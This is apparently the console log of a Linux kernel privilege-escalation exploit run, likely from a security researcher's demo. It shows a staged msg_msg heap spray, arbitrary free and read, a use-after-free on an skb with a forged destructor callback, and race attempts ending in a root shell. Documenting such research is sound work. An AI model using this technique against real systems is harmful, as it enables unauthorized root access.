[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4640
    kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11 
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb

[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
    start at 0x7f0d91120004
    skb_shared_info at 0x7f0d91120ec4
    tx_flags 0x8
    destructor_arg 0xffff9125c42fa100
    callback 0xffffffffab64f6d4
    desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15 

[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 

[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Відео